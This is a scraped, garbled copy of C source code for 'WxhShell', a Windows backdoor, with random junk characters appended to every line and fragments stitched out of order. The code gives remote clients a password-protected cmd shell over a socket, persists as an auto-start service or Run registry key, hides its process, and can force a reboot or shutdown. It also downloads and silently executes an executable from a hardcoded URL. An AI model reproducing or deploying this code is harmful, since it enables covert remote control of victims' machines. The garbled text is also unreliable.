    break; sYjhQN=Y*  
    } jr,N+K(@T  
  // 关机 jc!m; U t  
  case 'd': { CYRZ2Yrk?"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nv0\On7wd  
    if(Boot(SHUTDOWN)) #u}%r{T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t0+i ]lr  
    else { K!]a+M]>  
    closesocket(wsh); k&2=-qgVR  
    ExitThread(0); Kci. ,I  
    } G54J'*Z  
    break; gg >QXui  
    } ~)^'5^  
  // 获取shell ;z.L^V0  
  case 's': { oNZ_7tU  
    CmdShell(wsh); d]poUN~x  
    closesocket(wsh); h5SJVa  
    ExitThread(0); dgL>7X=7  
    break; D/?Ec\ t  
  } NMe{1RM  
  // 退出 %x N${4)6  
  case 'x': { v\GVy[Qyv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]} dQ~lOE  
    CloseIt(wsh); k,[*h-{8  
    break; >))CXGE  
    } t;BUZE_!0c  
  // 离开 #=t/wAE y:  
  case 'q': { T]ls&cW5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4vEP\E3u<j  
    closesocket(wsh); "$XX4w M  
    WSACleanup(); [% C,&h5  
    exit(1); SRwD`FF  
    break; #8|LPfA  
        } T5 (|{-  
  } tLBtE!J$[  
  } =A.$~9P  
Y8zTw`:V  
  // 提示信息 #0>xa]S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MC* Hl`C  
} ^cm ] [9  
  } g:>'+(H;  
T9C_=0(hn  
  return; `PC9t)%.pV  
} F}5d>nw  
6Q^~O*cw  
// shell模块句柄 +{1.kb Zq  
int CmdShell(SOCKET sock) I|U'@E  
{ .E<nQWz 8  
STARTUPINFO si; ;$QC_l''b  
ZeroMemory(&si,sizeof(si)); L-T,[;bl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DcW?L^Mst  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <.Ws; HN}  
PROCESS_INFORMATION ProcessInfo; 1Y|a:){G  
char cmdline[]="cmd"; cg.{oMwa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ` y\)X C7  
  return 0; Ttt'X<9  
} !R=@Nr>  
Ot2o=^Ng  
// 自身启动模式 q.c)>=!.  
int StartFromService(void)  Y !?'[t  
{ W6&vyOc  
typedef struct _!nsEG VV  
{ q`VL i  
  DWORD ExitStatus; H"#ITL  
  DWORD PebBaseAddress; f#\YX tR,k  
  DWORD AffinityMask; &EfQ%r}C  
  DWORD BasePriority; l~6K}g?  
  ULONG UniqueProcessId; }d<R 5  
  ULONG InheritedFromUniqueProcessId; 7uF|Z(  
}   PROCESS_BASIC_INFORMATION; 7;s#QqG`I  
Y()" 2CCV  
PROCNTQSIP NtQueryInformationProcess; f8Iddm#  
p+ CUYo(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8R,<S-+v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p49]{2GXb  
=V[uXm  
  HANDLE             hProcess; ~SnUnNDm`  
  PROCESS_BASIC_INFORMATION pbi; j*jUcD *  
*.DC(2:o!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ilA45@  
  if(NULL == hInst ) return 0; 0NXH449I=  
m Qj=-\p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l4OrlS/5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >]\I:T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c.ow4~>  
5E&#Kh(I  
  if (!NtQueryInformationProcess) return 0; Z0F~?  
,#K/+T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n0xGIq  
  if(!hProcess) return 0; Oynb "T&8  
`*C=R  _  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^[M{s(b  
gc9R;B1  
  CloseHandle(hProcess); *doNPp)m  
[9 W@<p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Smr{+m a  
if(hProcess==NULL) return 0; 3v/B*M VI  
2cR[~\_9.  
HMODULE hMod; zLpCKndj  
char procName[255]; K~N$s "Qx  
unsigned long cbNeeded; &mwd0%4  
E/P~HE{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9iA rBL"  
K^Awf6%  
  CloseHandle(hProcess); 0l!#u`cCI  
KdkA@>L!;  
if(strstr(procName,"services")) return 1; // 以服务启动 '5e,@t%y  
c3$T3Lu1  
  return 0; // 注册表启动 mj~:MCC  
} LeKovt%  
&*C5Nnlv  
// 主模块 M]x> u@JH  
int StartWxhshell(LPSTR lpCmdLine) W>K^55'  
{ XKoY!Y\  
  SOCKET wsl; rUiYR]mV  
BOOL val=TRUE; Lc*>sOm9  
  int port=0; <ql,@*Y  
  struct sockaddr_in door; %#HU~X:  
t" .Ytz>  
  if(wscfg.ws_autoins) Install(); !"rPSGK*  
xa>| k>I  
port=atoi(lpCmdLine); c{z$^)A/  
;]{ee?Q^ld  
if(port<=0) port=wscfg.ws_port; B,%Vy!o  
dY*q[N/pO  
  WSADATA data; [q <'ty  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kv+%  
sV\_DP/l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C]`uC^6g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2jsbg{QS#_  
  door.sin_family = AF_INET; *FlPGBjJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "6B7EH  
  door.sin_port = htons(port); fz&B$1;8  
,eXtY}E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h>N}M}8  
closesocket(wsl); GG} %  
return 1; 8y;Rw#Dz  
} ]c.w+<  
wQ}r/2n|^  
  if(listen(wsl,2) == INVALID_SOCKET) { RBX<>*  
closesocket(wsl); .E4* >@M5  
return 1; nbi7r cT  
} {o=?@$6C  
  Wxhshell(wsl); NGx3f3 9  
  WSACleanup(); 6TtB3;5  
La4S/.  
return 0; v}B%:1P4  
Ve,g9I  
} !"<[&  
+>$]leqa  
// 以NT服务方式启动 zLI0RI.Pe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _Nx /<isdL  
{ e#"h@kZP  
DWORD   status = 0; +#O+%!  
  DWORD   specificError = 0xfffffff; >Vuvbo   
VYvfx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K_7pr~D]@r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3EoCEPb#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NvR{S /Z  
  serviceStatus.dwWin32ExitCode     = 0; (O.%Xbx3  
  serviceStatus.dwServiceSpecificExitCode = 0; &#r+a'  
  serviceStatus.dwCheckPoint       = 0; -yqsJGY  
  serviceStatus.dwWaitHint       = 0; >I5:@6 Z  
B9v>="F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T1LYJ]5  
  if (hServiceStatusHandle==0) return; 80xr zv  
HU3:6R&  
status = GetLastError(); +7Ws`qhEe  
  if (status!=NO_ERROR) pLMt 2 G  
{ Sg#XcTG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9}573M  
    serviceStatus.dwCheckPoint       = 0; zWsr|= [  
    serviceStatus.dwWaitHint       = 0; i\R0+ O{  
    serviceStatus.dwWin32ExitCode     = status; OM*_%UF  
    serviceStatus.dwServiceSpecificExitCode = specificError; ua\t5M5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kaG/8G(  
    return; 3h@]cWp  
  } FDHW' OP4  
^t >mdxuq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LPk@t^[  
  serviceStatus.dwCheckPoint       = 0; l_B735  
  serviceStatus.dwWaitHint       = 0; G\.~/<Mg+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]9@:7d6  
} *S$v SDJCW  
JA^o/%a^  
// 处理NT服务事件,比如:启动、停止 ^X#y'odtbS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RObnu*  
{ -<iP$,bq72  
switch(fdwControl) M`MxdwR  
{ c-LzluWi  
case SERVICE_CONTROL_STOP: N& _~y|  
  serviceStatus.dwWin32ExitCode = 0; Z6!Up1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B#sCB&(  
  serviceStatus.dwCheckPoint   = 0; )6|L]'dsZ  
  serviceStatus.dwWaitHint     = 0; qi-XNB`b  
  { m|*B0GW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _O9V"DM  
  } rb*|0ST  
  return; te_2"Z  
case SERVICE_CONTROL_PAUSE: `lf_wB+I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c`6c)11K  
  break; %X}ZX|{O  
case SERVICE_CONTROL_CONTINUE: ?h<4trYcv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @W,jy$U  
  break; }nmlN  
case SERVICE_CONTROL_INTERROGATE: yR}. Xq/  
  break; _e%D/}  
}; w.qtSW6M+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BN/ 4O?jD9  
} C]^Ep  
i'~-\F!  
// 标准应用程序主函数 xR7ZqTcw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gnc`CyN:H  
{ Q|y }mC/  
w5FIHYl6B  
// 获取操作系统版本 EF/d7  
OsIsNt=GetOsVer(); UG| /Px ]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |/.J{=E0K  
5Qgu:)}  
  // 从命令行安装 2"/MM2s  
  if(strpbrk(lpCmdLine,"iI")) Install(); l#)X/(?;  
{UiSa'TR1b  
  // 下载执行文件 r(,U{bU<  
if(wscfg.ws_downexe) { s!6lZ mPM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n#_B4UqW%  
  WinExec(wscfg.ws_filenam,SW_HIDE); u{1R=ML  
} Ky3mz w|  
2& Q\W  
if(!OsIsNt) { WM bkKC.{J  
// 如果时win9x,隐藏进程并且设置为注册表启动 /:|vJ|dJ  
HideProc(); >P6"-x,["  
StartWxhshell(lpCmdLine); oFk2y^>u  
} "N4^ ^~s  
else ?hoOSur+  
  if(StartFromService()) A(Ct^/x-  
  // 以服务方式启动 b?wrOS  
  StartServiceCtrlDispatcher(DispatchTable); Dy08.Sss  
else b,!C8rJ  
  // 普通方式启动 !-I,Dh-A  
  StartWxhshell(lpCmdLine); DE13x *2  
GwWK'F'2  
return 0; _~FfG!H ^X  
} ?0qVyK_1  
s 6Wp"V(  
BR|!ya+_2  
S"bN9?;#u  
=========================================== nz 10/nw  
R'c*CLaiE  
q~{) {t;  
c r=Q39{  
gC7!cn  
`Fqth^RK?p  
" G':3U  
5D s[?  
#include <stdio.h> [@$ SLl^Y  
#include <string.h> ]:%DDlRb  
#include <windows.h> ?G{0{ c2  
#include <winsock2.h> >t+ ENYb  
#include <winsvc.h> !$)reaS  
#include <urlmon.h> HZrA}|:h  
J+D|/^  
#pragma comment (lib, "Ws2_32.lib") :UwBs  
#pragma comment (lib, "urlmon.lib") KQ~y;{h?b  
oZ{,IZ45  
#define MAX_USER   100 // 最大客户端连接数 HG"ZN)~  
#define BUF_SOCK   200 // sock buffer oXo>pl  
#define KEY_BUFF   255 // 输入 buffer ~M~DH-aX  
5SFr E`  
#define REBOOT     0   // 重启 '1u?-2  
#define SHUTDOWN   1   // 关机 i?L=8+9f  
QE 4   
#define DEF_PORT   5000 // 监听端口 /*C!]Z>.  
\p!UY 3'  
#define REG_LEN     16   // 注册表键长度 Ir;JYY!0?  
#define SVC_LEN     80   // NT服务名长度 Lg4|6.Ez|P  
/R&`]9].s  
// 从dll定义API !Uiq3s`1T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _z p<en[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =7!s8D,[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rfV'EjiM}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (Ypy}  
n"iS[uj,  
// wxhshell配置信息 <Bo\a3Z  
struct WSCFG { b'4a;k!rS  
  int ws_port;         // 监听端口 @&T' h}|:  
  char ws_passstr[REG_LEN]; // 口令 wd:Yy  
  int ws_autoins;       // 安装标记, 1=yes 0=no  9q X$  
  char ws_regname[REG_LEN]; // 注册表键名 zC50 @S3|  
  char ws_svcname[REG_LEN]; // 服务名 4U2{1aN`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iXWzIb}CJ-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^y,h0?Z9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P9!awLM-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  }$oS /bo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e'b*_Ps'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 av'DyNW\  
?NBae\6r  
}; Z+B*V )a=  
t?hfP2&6  
// default Wxhshell configuration 3a:Hx| Yg  
struct WSCFG wscfg={DEF_PORT, Wvl~|Sx]  
    "xuhuanlingzhe", 9]Jv >_W*  
    1, 2ZxhV4\  
    "Wxhshell", y\v#qFVOZ  
    "Wxhshell", *+v*VH  
            "WxhShell Service", >/ _#+,  
    "Wrsky Windows CmdShell Service", I`{3I-E  
    "Please Input Your Password: ", 6B]=\H  
  1, B/X$ZQ0  
  "http://www.wrsky.com/wxhshell.exe", iM!Ya!  
  "Wxhshell.exe" 2 G.y.#W  
    }; eb7UA=[Z  
E6 oC^,ZRy  
// 消息定义模块 ge`GQ>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4?Y7. :x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6uD<E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pW+uVv,  
char *msg_ws_ext="\n\rExit."; x[mz`0  
char *msg_ws_end="\n\rQuit."; Mbc&))A  
char *msg_ws_boot="\n\rReboot..."; FS}b9sQ)  
char *msg_ws_poff="\n\rShutdown..."; /KvJjt'8  
char *msg_ws_down="\n\rSave to "; ;6@sC[  
<M\&zHv  
char *msg_ws_err="\n\rErr!"; 0 s+X:*C~  
char *msg_ws_ok="\n\rOK!"; ?OW!D?  
wa<k%_# M  
char ExeFile[MAX_PATH]; ![Qi+xyc  
int nUser = 0; z~2{`pET  
HANDLE handles[MAX_USER]; {m!5IR  
int OsIsNt; r10VFaly  
gcnX^[`S  
SERVICE_STATUS       serviceStatus; dC,C[7\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6):1U  
' pgP QM<  
// 函数声明 o/3.U=px~  
int Install(void); Yuw:W:wY  
int Uninstall(void); umns*U%T;  
int DownloadFile(char *sURL, SOCKET wsh); JPn)Op6  
int Boot(int flag); %16Lo<DPm  
void HideProc(void); S3M!"l  
int GetOsVer(void); /e"iY F  
int Wxhshell(SOCKET wsl); CNb(\]  
void TalkWithClient(void *cs); 8#;=>m%  
int CmdShell(SOCKET sock); ;N#}3lpLqg  
int StartFromService(void); /[dMw *SRz  
int StartWxhshell(LPSTR lpCmdLine); _yg;5#3  
pl%!AY'oE>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q>D//_TF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F%<*a,m6g  
t$du|q(  
// 数据结构和表定义 cO7ii~&%!  
SERVICE_TABLE_ENTRY DispatchTable[] = $M)SsD~  
{ A:ts_*  
{wscfg.ws_svcname, NTServiceMain}, |l8=z*v<  
{NULL, NULL} 7Tk//By7  
}; q;bw }4  
K@*+;6y@  
// 自我安装 O`0r'&n  
int Install(void) p/ xlR[  
{ Bc.de&Bxz_  
  char svExeFile[MAX_PATH]; &V1d"";SZ  
  HKEY key; 2Snb+,o2  
  strcpy(svExeFile,ExeFile); kr+p&|.  
2`*w*  
// 如果是win9x系统,修改注册表设为自启动 xI{fd1  
if(!OsIsNt) { %W9R08`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]fzXrN_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tkZUjQIX  
  RegCloseKey(key); %IBT85{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { keLeD1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !*Is0``  
  RegCloseKey(key); F/ZFO5C%  
  return 0; o3hgkoF   
    } l,hOnpm9  
  } l#enbQ`-~  
} ?Fx~_GT  
else { OY}FtG y  
eMnK@J  
// 如果是NT以上系统,安装为系统服务 qr4 lr!#t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4 9N.P;b  
if (schSCManager!=0) cy.r/Z}  
{ wp&G]/4m  
  SC_HANDLE schService = CreateService *JDz0M4f  
  ( mq[=,,#  
  schSCManager, OM0r*<D"!  
  wscfg.ws_svcname, Rm=p}  
  wscfg.ws_svcdisp, >\[]z^J  
  SERVICE_ALL_ACCESS, R`@T<ob)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %4m Nk}tyH  
  SERVICE_AUTO_START, "W"^0To  
  SERVICE_ERROR_NORMAL, GGEM&0*  
  svExeFile, fY9+m}$S$  
  NULL, =( |%%,3  
  NULL, |Jn|GnM  
  NULL, |\Jnr3)  
  NULL, KV$&qM.  
  NULL h,R Isq;`  
  ); s0dP3tz>  
  if (schService!=0) E#+2)Q  
  { QUW`Yc  
  CloseServiceHandle(schService); 3[u- LYW  
  CloseServiceHandle(schSCManager); $x'jf?zs!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b_RO%L:"yL  
  strcat(svExeFile,wscfg.ws_svcname); pFY*Y>6ar  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,Suk_aX>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  q6F1Rt  
  RegCloseKey(key); GP c B(  
  return 0; ]]K?Q )9x  
    } Zb=NcEPGy  
  } 4Y?2u  
  CloseServiceHandle(schSCManager); nrKAK^  
} ;/$pxD  
} YCiG~y/~  
g7]S  
return 1; sPi  
} `15}jTi  
>`UqS`YQK  
// 自我卸载 %>Gb]dv?  
int Uninstall(void) .)[E`a  
{ a%Q`R;W  
  HKEY key; w{DU<e:  
LRHod1}mS  
if(!OsIsNt) { "L]v:lg3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3R< r[3WP  
  RegDeleteValue(key,wscfg.ws_regname); +:@^nPfHy  
  RegCloseKey(key); $a~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n~6$CQ5dF(  
  RegDeleteValue(key,wscfg.ws_regname); k*;U?C!  
  RegCloseKey(key); zgjgEhnvU  
  return 0; RL4|!HzR  
  } [8za=B/  
} tRU/[?!  
} e=VSO!(rY  
else { MXaik+2  
sZ=!*tb-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OE(y$+L3_I  
if (schSCManager!=0) (Z>?\iNJ  
{ ppIXS(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <fHHrmZ#/.  
  if (schService!=0) @xdtl{5G  
  { x~}&t+FK  
  if(DeleteService(schService)!=0) { gH(#<f@ZI  
  CloseServiceHandle(schService); `/ T.u&QF  
  CloseServiceHandle(schSCManager); Ag0 6M U  
  return 0; ]vf_4QW=  
  } T^^7@\vDI  
  CloseServiceHandle(schService); HR?T  
  } #L!`n )J"  
  CloseServiceHandle(schSCManager); w%`S>+kX&  
} eMdP4<u  
} l\L71|3"g  
g0B-<>E  
return 1; Hx+r9w  
} D,..gsg  
W3/] 2"0  
// 从指定url下载文件 40=u/\/K  
int DownloadFile(char *sURL, SOCKET wsh) 9 D.wW  
{ F6 ~ ;f;  
  HRESULT hr; &I ~'2mpk  
char seps[]= "/"; $'CS/U`E}  
char *token; On O_7'4 t  
char *file; /Zs_G=\>  
char myURL[MAX_PATH]; =k d-rIBc  
char myFILE[MAX_PATH]; =),ZZD#J  
j{FRD8]V  
strcpy(myURL,sURL); yqx!{8=V  
  token=strtok(myURL,seps); sQ\HIU%]  
  while(token!=NULL) 5I[:.o0  
  { ?i0u)< H  
    file=token; dCn9]cj/  
  token=strtok(NULL,seps); Y/UvNb<lK  
  } yT<"?S>D  
[H!do$[>  
GetCurrentDirectory(MAX_PATH,myFILE); 'S}3lsIE  
strcat(myFILE, "\\"); jXmY8||w  
strcat(myFILE, file); *eXs7"H  
  send(wsh,myFILE,strlen(myFILE),0); J0bcW25  
send(wsh,"...",3,0); <~ay4JY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3`D*AFQc  
  if(hr==S_OK) H;a) `R3  
return 0; jK\kASwG  
else -h|[8UG^b  
return 1; i0\]^F  
d$\n@}8eZp  
} jEx8G3EL  
G?~Yw'R^8  
// 系统电源模块 u*\QVOF  
int Boot(int flag) +5O^{Ce6  
{ iX2exJto  
  HANDLE hToken; D?xR>Oo)  
  TOKEN_PRIVILEGES tkp; `:ZaT('h  
8:I-?z;S  
  if(OsIsNt) { X pK eN2=p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xzx~H>M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (O:&RAkk7  
    tkp.PrivilegeCount = 1; ~_CZ1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (G{:O   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \ D>!&   
if(flag==REBOOT) { m/g[9Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l9%ckC*q  
  return 0; rx#GrV*y  
} C@XnV=J  
else { jv29,46K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %Y.@AiViz  
  return 0; _Nz?fJ:$@  
} q2Sc{E>[  
  } hG<W *g  
  else { yJ; ;&  
if(flag==REBOOT) { >Wd=+$!I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +*qTZIXj  
  return 0; e9k$5ps  
} 04X/(74  
else { >A L^y( G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7O=7lQ  
  return 0; <pT1p4T<  
} >"]t4]GVf  
} LmROG-9  
apxq] ! `  
return 1; ]K5j(1EN  
} Z2]\k|%<Fa  
7W/55ZTmJ  
// win9x进程隐藏模块 ?|<p^:  
void HideProc(void) Hs.5@l  
{ ~fpk`&nhe  
R|O^7o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eg"!.ol  
  if ( hKernel != NULL ) wD pL9q  
  { 2F,?}jJ.K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S: g 2V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I'R|B\  
    FreeLibrary(hKernel); 1[Jv9S*f/  
  } >6zWOYd  
]A_A4=[w  
return; 8;,(D# p  
} `C*psS  
ARB^]  
// 获取操作系统版本 <5c^DA  
int GetOsVer(void) M1Th~W9l  
{ {`% q0Nr  
  OSVERSIONINFO winfo; y2x)<.cDP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _cc9+o  
  GetVersionEx(&winfo); LtDGu})1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Uv:NY1(3!  
  return 1; C #@5:$  
  else =:^f6"p&Z  
  return 0; ueJ_F#y  
} n]_<6{: U  
wcDb| H&  
// 客户端句柄模块 +oa>k 0  
int Wxhshell(SOCKET wsl) <;E>1*K}8  
{ Z#_VxA>]v  
  SOCKET wsh; Oufdi3h  
  struct sockaddr_in client; G8hDR^ra  
  DWORD myID; rEs Gf+4  
-hO[^^i9  
  while(nUser<MAX_USER) ='.G,aJ9  
{ -~=:tn)0  
  int nSize=sizeof(client); ;u?H#\J,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hL/  
  if(wsh==INVALID_SOCKET) return 1; lH oV>k  
4,6nk.$yN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); * p,2>[e  
if(handles[nUser]==0) m-|~tve  
  closesocket(wsh); F!6;< !&h  
else BIEeHN4  
  nUser++; 8:Jc2K  
  } nc>Ae`"(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6[C>"s}Ol  
]0@ J)Z09  
  return 0; fK9wr@1  
} JiHk`e`  
eRwm>l"fVV  
// 关闭 socket ^Ea^t.c}_  
void CloseIt(SOCKET wsh) R)5zHCwOw  
{ h<f]hJ`ep  
closesocket(wsh); )@.6u9\  
nUser--; UYOR@x #  
ExitThread(0); 2/G`ej!*  
} 8#~x6\!b  
pr"~W8  
// 客户端请求句柄 <-a6'g2y  
void TalkWithClient(void *cs) gK"E4{y_@  
{ 9iQc\@eGd  
rXg#_c5j  
  SOCKET wsh=(SOCKET)cs; b+ v!3|  
  char pwd[SVC_LEN]; NYN(2J  
  char cmd[KEY_BUFF]; K.2l)aRd  
char chr[1]; # Q_ d  
int i,j; x4bj?=+  
7<3eB)S  
  while (nUser < MAX_USER) { b!-F!Lq/+0  
5"&{Egc_  
if(wscfg.ws_passstr) { ;K<W<v5m0N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N2S7=`5/T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); roG f &  
  //ZeroMemory(pwd,KEY_BUFF); n g?kl|VG  
      i=0; ZzV%+n7<Vx  
  while(i<SVC_LEN) { :f58JLX  
M%Dv-D{  
  // 设置超时 qHQ#^jH  
  fd_set FdRead; xp"5L8:C  
  struct timeval TimeOut; JRl`evTS  
  FD_ZERO(&FdRead); lCMU{)  
  FD_SET(wsh,&FdRead); q`DilZ]S  
  TimeOut.tv_sec=8;  d365{  
  TimeOut.tv_usec=0; )'gO?cN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C'jE'B5b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Qh. : N  
J+6bp0RIh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /6@Wm? `DB  
  pwd=chr[0]; H- aSLc  
  if(chr[0]==0xd || chr[0]==0xa) { WAt| J2  
  pwd=0; [>tyx{T Ye  
  break; $s-HG[lX[  
  } {:r8X  
  i++; c'r7sI%Yi  
    } atO/Tp  
!@[@xdV  
  // 如果是非法用户,关闭 socket w- .=u3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m"Y|xvIA  
} /_ MEb42&  
cfEi]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2m/=0sb\{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H6PS7g"  
BVpRkUC"  
while(1) { L=wg"$  
w\z6-qa  
  ZeroMemory(cmd,KEY_BUFF); ^Q$U.sN? R  
MHVHEwr.{  
      // 自动支持客户端 telnet标准   e+5]l>3)f  
  j=0; GGR hM1II  
  while(j<KEY_BUFF) { " )87GQ(R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \f7A j>  
  cmd[j]=chr[0]; 3Vj,O?(Z  
  if(chr[0]==0xa || chr[0]==0xd) { On{p(| l  
  cmd[j]=0; V=,VOw4  
  break; ,3`RM $  
  } AK*F,H9  
  j++; <U ?_-0  
    } ZiS<vWa3R  
TZ,kmk#  
  // 下载文件 szy^kj^2  
  if(strstr(cmd,"http://")) { 9"YOj_z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S%7^7MSqA  
  if(DownloadFile(cmd,wsh)) IT u6m<V  
